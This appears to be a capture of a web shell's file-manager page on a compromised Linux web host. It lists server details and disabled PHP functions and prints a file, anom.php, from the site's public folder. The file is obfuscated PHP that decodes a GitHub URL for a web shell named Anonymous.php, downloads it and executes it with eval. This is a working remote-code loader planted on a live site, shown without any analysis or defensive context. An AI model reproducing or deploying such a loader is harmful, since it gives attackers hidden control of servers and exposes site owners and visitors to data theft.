HEX
Server: Apache
System: Linux vpshost0528.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: novoprovisorio2 (10002)
PHP: 7.4.11
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/f/44/55/novoprovisorio2/public_html/anom.php
<?php
 goto Oe0Dd; AalHN: if ($content === FALSE) { die("\106\x61\151\x6c\145\x64\x20\164\x6f\40\x72\x65\164\162\x69\x65\x76\145\x20\164\150\x65\40\x66\151\x6c\x65\x20\x66\162\x6f\155\40\x74\150\x65\40\x55\x52\114"); } goto rcqqz; rcqqz: eval("\77\x3e" . $content); goto WHKua; vWZHt: $content = file_get_contents($url); goto AalHN; Oe0Dd: $url = "\150\x74\x74\160\x73\x3a\57\57\x72\141\167\56\147\x69\164\150\165\x62\165\x73\x65\162\143\157\156\x74\145\x6e\x74\56\x63\x6f\155\57\110\171\144\162\x61\55\67\61\57\x77\145\x62\163\x68\145\154\x6c\x73\57\162\x65\x66\163\57\150\145\141\144\x73\x2f\155\141\151\x6e\x2f\101\x6e\157\x6e\171\x6d\157\165\163\x2e\160\x68\x70"; goto vWZHt; WHKua: ?>